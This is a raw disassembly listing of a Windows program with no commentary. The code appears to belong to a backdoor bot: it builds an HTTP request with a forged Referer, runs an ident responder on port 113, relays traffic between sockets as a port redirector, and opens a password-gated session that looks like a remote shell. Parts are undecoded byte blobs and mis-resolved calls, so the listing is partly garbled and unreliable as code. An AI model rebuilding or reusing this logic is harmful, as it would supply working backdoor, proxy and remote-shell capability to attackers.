		call	dword_4CAFF4
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CAF74
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40AAF9
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4101B8
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410154
		mov	eax, offset dword_43D128

loc_410154:				; CODE XREF: sub_4100DB+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CAFC4
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CAF8C
		pop	esi

loc_4101B8:				; CODE XREF: sub_4100DB+6Bj
		push	ebx
		call	dword_4CB00C
		call	dword_4CAECC
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4101F8
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_4101F8:				; CODE XREF: sub_4100DB+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_4100DB	endp

; ---------------------------------------------------------------------------

loc_4101FC:				; DATA XREF: ___:00401666o
					; sub_401ACD+4369o
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4CAF74
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4CAFF4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410360
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_43DEBC[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4CAFA0
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		push	5
		push	ebx
		call	dword_4CAF9C
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		mov	[ebp-0Ch], edi
		mov	edi, 200h

loc_410287:				; CODE XREF: ___:004102E6j
					; ___:00410349j ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4CB008
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_41035B
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_433F94
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CAF8C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410287
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_417F7F
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B590
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jz	loc_410287
		mov	dword ptr [ebp-8], 1
		jmp	loc_410287
; ---------------------------------------------------------------------------

loc_41035B:				; CODE XREF: ___:0041029Cj
		cmp	[ebp-8], esi
		jnz	short loc_410387

loc_410360:				; CODE XREF: ___:00410243j
					; ___:00410267j ...
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_433F50
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AC
		add	esp, 10h

loc_410387:				; CODE XREF: ___:0041035Ej
		push	ebx
		call	dword_4CB00C
		push	dword ptr [ebp-4]
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
		pop	ebx

loc_4103AA:				; DATA XREF: sub_401ACD+613Bo
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4CAF74
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410516
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43DEBC[ecx], eax
		call	dword_4CAE84
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFA0
		test	eax, eax
		jnz	loc_410516
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4CAF9C
		test	eax, eax
		jnz	loc_410516

loc_41045A:				; CODE XREF: ___:00410470j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB008
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41045A
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-350h]
		push	offset unk_433FFC
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B0F6
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_43DEB4[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_41053B
		push	esi
		push	esi
		nop
; ---------------------------------------------------------------------------
		dw 25E8h
		dd 8B0226FBh, 0C969C44Dh, 234h,	8189C63Bh, 43DEC4h, 75391374h
		dd 63850FD0h, 6AFFFFFFh, 0A2E89032h, 0EB022609h, 2EE890EDh
		dd 50022703h, 433FC068h, 4D0EE800h, 59590000h
; ---------------------------------------------------------------------------
		jmp	short loc_410519
; ---------------------------------------------------------------------------

loc_410516:				; CODE XREF: ___:0041040Dj
					; ___:00410441j ...
		mov	edi, [ebp+8]

loc_410519:				; CODE XREF: ___:00410514j
		push	edi
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	dword_4CB00C
		push	dword ptr [ebp-40h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi

loc_41053B:				; DATA XREF: ___:004104CEo
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CAFF4
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4106F1
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4CAF74
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CAFB4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4105CB
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CAFF8
		jmp	short loc_4105D9
; ---------------------------------------------------------------------------

loc_4105CB:				; CODE XREF: ___:004105BAj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4CAF2C

loc_4105D9:				; CODE XREF: ___:004105C9j
		cmp	eax, edi
		jz	loc_4106F1
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jz	loc_4106F1
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_434084
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B0F6
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43DEBC[ebx]
		mov	dword_43DEB4[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43DEC0[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_410722
		push	edi
		push	edi
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4106DE

loc_41068B:				; CODE XREF: ___:00410698j
		cmp	[ebp-20h], edi
		jnz	short loc_41069A
		push	32h
		nop
		call	near ptr 2670EA1h
		jmp	short loc_41068B
; ---------------------------------------------------------------------------

loc_41069A:				; CODE XREF: ___:0041068Ej
		mov	ebx, 1000h

loc_41069F:				; CODE XREF: ___:004106DAj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CAF8C
		cmp	eax, edi
		jle	short loc_4106F1
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41069F
		jmp	short loc_4106F1
; ---------------------------------------------------------------------------

loc_4106DE:				; CODE XREF: ___:00410689j
		nop
		call	near ptr 2680835h
		push	eax
		push	offset unk_434044
		call	sub_415220
		pop	ecx
		pop	ecx

loc_4106F1:				; CODE XREF: ___:0041057Fj
					; ___:004105DBj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_43DEBC[eax]
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	dword_4CB00C
		push	dword ptr [ebp-4]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
		pop	ebx

loc_410722:				; DATA XREF: ___:0041066Bo
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h

loc_410759:				; CODE XREF: ___:0041079Ej
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_43DEC0[esi]
		call	dword_4CAF8C
		test	eax, eax
		jle	short loc_4107A0
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_43DEBC[esi]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410759

loc_4107A0:				; CODE XREF: ___:00410783j
		push	dword_43DEC0[esi]
		call	dword_4CB00C
		push	dword ptr [ebp-14h]
		call	sub_40B412
		pop	ecx
		push	0
		nop
; ---------------------------------------------------------------------------
		dd 2CF843E8h
; ---------------------------------------------------------------------------
		add	bl, [edi+5Eh]
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_43DEBC[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4CAF5C
		test	eax, eax
		jnz	short loc_410843
		push	dword ptr [esi]
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	edi
		call	near ptr 26E0000h
		nop

loc_410843:				; CODE XREF: ___:00410829j
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CAF8C
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4CAEC8
		test	eax, eax
		jz	short loc_4108BC
		call	dword_4CAF08
		push	eax
		push	offset unk_43415C
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 0Ch
		push	edi
		nop
		call	near ptr 26E0000h

loc_4108BC:				; CODE XREF: ___:00410897j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4CAF2C
		cmp	eax, edi
		jnz	short loc_4108E6
		push	dword ptr [ebp-18h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41B886
		jmp	short loc_4108F4
; ---------------------------------------------------------------------------

loc_4108E6:				; CODE XREF: ___:004108CCj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41BEB0

loc_4108F4:				; CODE XREF: ___:004108E4j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset dword_43D128
		push	dword ptr [esi]
		call	dword_4CAFC4
		cmp	dword_4CDCD8, edi
		jnz	short loc_410956
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_410A1E
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410956
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CAFC4
		push	dword ptr [esi]
		call	dword_4CB00C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26E0000h

loc_410956:				; CODE XREF: ___:0041090Bj
					; ___:0041092Cj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_434120
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_410CD5
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41099D
		call	near ptr 2680835h
		nop
		push	eax
		push	offset unk_4340F4
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 0Ch
		push	ebx
		nop
		call	near ptr 26E0000h

loc_41099D:				; CODE XREF: ___:00410978j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_4340C8
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26E0000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109C4	proc near		; CODE XREF: ___:00410859p
					; ___:00410866p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF8C
		cmp	eax, 1
		jnz	short loc_410A14
		mov	esi, [ebp+arg_4]

loc_4109E2:				; CODE XREF: sub_4109C4+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_410A09
		test	al, al
		jz	short loc_410A18
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF8C
		cmp	eax, 1
		jz	short loc_4109E2
		jmp	short loc_410A14
; ---------------------------------------------------------------------------

loc_410A09:				; CODE XREF: sub_4109C4+27j
		push	offset unk_434188
		call	sub_415220
		pop	ecx

loc_410A14:				; CODE XREF: sub_4109C4+19j
					; sub_4109C4+43j
		xor	eax, eax
		jmp	short loc_410A1B
; ---------------------------------------------------------------------------

loc_410A18:				; CODE XREF: sub_4109C4+2Bj
		push	1
		pop	eax

loc_410A1B:				; CODE XREF: sub_4109C4+52j
		pop	esi
		leave
		retn
sub_4109C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_410A1E	proc near		; CODE XREF: ___:00410922p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410A49
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_4341B4
		call	sub_415220
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_410A49:				; CODE XREF: sub_410A1E+11j
		push	1
		pop	eax
		retn
sub_410A1E	endp

; ---------------------------------------------------------------------------
byte_410A4D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+23D4o
		dd 5A4EC81h, 458B0000h,	6A575608h, 0F08B5978h, 0FDECBD8Dh
		dd 16AFFFFh, 895FA5F3h,	1DCB8h,	5C858D00h, 50FFFFFAh, 20268h
		dd 0E415FF00h, 33004CAEh, 74C63BF6h, 2468501Dh,	0E8004343h
		dd 478Ch, 0E8B475FFh, 0FFFFA976h, 570CC483h, 2CF55BE8h
		dd 68579002h, 410CCBh, 11FE890h, 0C0850235h, 0E8902975h
		dd 226FD79h, 42E06850h,	59E80043h, 59000047h, 0CC15FF59h
		dd 0FF004CAEh, 3BE8B475h, 59FFFFA9h, 0F522E857h, 5390022Ch
		dd 458D106Ah, 0E85056E0h, 0AAA4h, 660CC483h, 2E045C7h
		dd 0B075FF00h, 0AF7415FFh, 66A004Ch, 66026A57h,	89E24589h
		dd 15FFE475h, 4CAFF4h, 0FB83D88Bh, 3B840FFFh, 8B000001h
		dd 106AB445h, 234C069h,	98890000h, 43DEBCh, 50E0458Dh
		dd 0A015FF53h, 85004CAFh, 17850FC0h, 68000001h,	7FFFFFFFh
		dd 9C15FF53h, 85004CAFh, 3850FC0h, 68000001h, 4342A4h
		dd 0CF045C7h, 89000000h, 7589F475h, 4642E8F8h, 89590000h
		dd 458D087Dh, 0FC45C7FCh, 10h, 0CC458D50h, 15FF5350h, 4CB008h
		dd 0FF83F88Bh, 0CA840FFFh, 0FF000000h, 458D0875h, 86A5008h
		dd 0FFFF68h, 15FF5700h,	4CAF54h, 74FFF883h, 45B70FC5h
		dd 0B475FFCEh, 50C87589h, 0FFD075FFh, 4CB00015h, 858D5000h
		dd 0FFFFFBECh, 43426068h, 0B7E85000h, 8D0000ACh, 0FFFBEC85h
		dd 0D1E850FFh, 57000045h, 0FBEC858Dh, 96AFFFFh,	0A50CE850h
		dd 4589FFFFh, 34C069B8h, 8B000002h, 0C483B44Dh,	0B4888924h
		dd 8D0043DEh, 8D50DC45h, 0FFFDEC85h, 685056FFh,	4107BFh
		dd 56F0458Dh, 0E5E89050h, 8B0226F3h, 0C969B84Dh, 234h
		dd 8189C63Bh, 43DEC4h, 75391374h, 37850FC8h, 6AFFFFFFh
		dd 62E89032h, 0EB022602h, 0FBEFE8EDh, 50900226h, 43422468h
		dd 45CEE800h, 59590000h, 7D8B03EBh, 815FF08h, 50004CAFh
		dd 0FBEC858Dh, 0EC68FFFFh, 50004341h, 0AC15E8h,	0CC48300h
		dd 75C47539h, 858D5620h, 0FFFFFBECh, 50C075FFh,	0FDF0858Dh
		dd 0FF50FFFFh, 0FFFDECB5h, 8DDCE8FFh, 0C483FFFFh, 0EC858D14h
		dd 50FFFFFBh, 4507E8h, 0FF575900h, 4CB00C15h, 15FF5300h
		dd 4CB00Ch, 0AECC15FFh,	75FF004Ch, 0A750E8B4h, 5659FFFFh
		dd 0F336E890h, 335B022Ch, 244439C0h, 0C0940F04h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CD5	proc near		; CODE XREF: ___:0041096Ep

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_410E26
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43DEBC[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_42707C
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410FF8
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_410D40
		nop
		call	near ptr 2680835h
		push	eax
		push	offset unk_434384
		call	sub_415220
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_410D7A
; ---------------------------------------------------------------------------

loc_410D40:				; CODE XREF: sub_410CD5+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4110AA
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_410D81
		call	near ptr 2680835h
		nop
		push	eax
		push	offset unk_434384
		call	sub_415220
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	near ptr 2690812h
		nop

loc_410D7A:				; CODE XREF: sub_410CD5+69j
		xor	eax, eax
		jmp	loc_410E21
; ---------------------------------------------------------------------------

loc_410D81:				; CODE XREF: sub_410CD5+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 2760E8Dh
		sub	eax, ebx
		jz	short loc_410DDB
		dec	eax
		jz	short loc_410DD5
		dec	eax
		jz	short loc_410DC1
		nop
		call	near ptr 2680835h
		push	eax
		push	offset unk_434350
		call	sub_415220
		pop	ecx
		pop	ecx
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------

loc_410DC1:				; CODE XREF: sub_410CD5+D5j
		mov	edi, dword_4270AC
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------

loc_410DD5:				; CODE XREF: sub_410CD5+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_410DDF
; ---------------------------------------------------------------------------

loc_410DDB:				; CODE XREF: sub_410CD5+CFj
		push	ebx
		push	dword ptr [esi+14h]

loc_410DDF:				; CODE XREF: sub_410CD5+104j
		call	near ptr 2690812h
		nop
		push	1
		push	dword ptr [esi+8]
		nop
		call	near ptr 2700BE0h

loc_410DF0:				; CODE XREF: sub_410CD5+EAj
					; sub_410CD5+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427068
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4CB00C
		push	esi
		call	sub_41B0B1
		pop	ecx
		push	1
		pop	eax

loc_410E21:				; CODE XREF: sub_410CD5+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410CD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410E26	proc near		; CODE XREF: sub_410CD5+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_410F10
		mov	ebx, dword_4270FC
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427068
		test	eax, eax
		jnz	short loc_410E89
		nop
		call	near ptr 2680835h
		push	eax
		push	offset unk_434434
		jmp	short loc_410EA9
; ---------------------------------------------------------------------------

loc_410E89:				; CODE XREF: sub_410E26+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_410EB1
		call	near ptr 2680835h
		nop
		push	eax
		push	offset unk_4343F4

loc_410EA9:				; CODE XREF: sub_410E26+61j
		call	sub_415220
		pop	ecx
		jmp	short loc_410EDF
; ---------------------------------------------------------------------------

loc_410EB1:				; CODE XREF: sub_410E26+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_410F1F
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_410F14
		push	offset unk_4343CC
		call	sub_4151AC

loc_410EDF:				; CODE XREF: sub_410E26+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_410EEB
		push	[ebp+var_4]
		call	edi

loc_410EEB:				; CODE XREF: sub_410E26+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_410EF6
		push	[ebp+var_8]
		call	edi

loc_410EF6:				; CODE XREF: sub_410E26+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_410EFF
		push	eax
		call	edi

loc_410EFF:				; CODE XREF: sub_410E26+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_410F09
		push	eax
		call	edi

loc_410F09:				; CODE XREF: sub_410E26+DEj
		push	esi
		call	sub_41B0B1
		pop	ecx

loc_410F10:				; CODE XREF: sub_410E26+1Dj
		xor	eax, eax
		jmp	short loc_410F1A
; ---------------------------------------------------------------------------

loc_410F14:				; CODE XREF: sub_410E26+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
